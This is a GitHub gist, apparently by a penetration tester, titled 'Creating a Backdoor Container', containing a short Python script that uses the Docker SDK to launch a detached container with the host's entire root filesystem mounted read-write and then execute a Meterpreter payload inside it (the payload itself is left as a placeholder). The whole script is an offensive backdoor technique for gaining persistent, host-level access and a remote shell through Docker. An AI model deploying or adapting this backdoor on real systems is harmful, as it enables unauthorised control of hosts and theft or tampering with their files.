Skip to content

Instantly share code, notes, and snippets.

@pasknel
Created June 20, 2019 14:03
Show Gist options
  • Save pasknel/4ae73732ebe574fa180626b4a35c424f to your computer and use it in GitHub Desktop.
Save pasknel/4ae73732ebe574fa180626b4a35c424f to your computer and use it in GitHub Desktop.
Creating a Backdoor Container
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
cmd = 'python -c "{0}"'.format(payload)
volumes = {
'/': {
'bind': '/host',
'mode': 'rw'
}
}
backdoor = client.containers.run('python', volumes = volumes, detach = True, tty = True)
print backdoor.exec_run(cmd)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment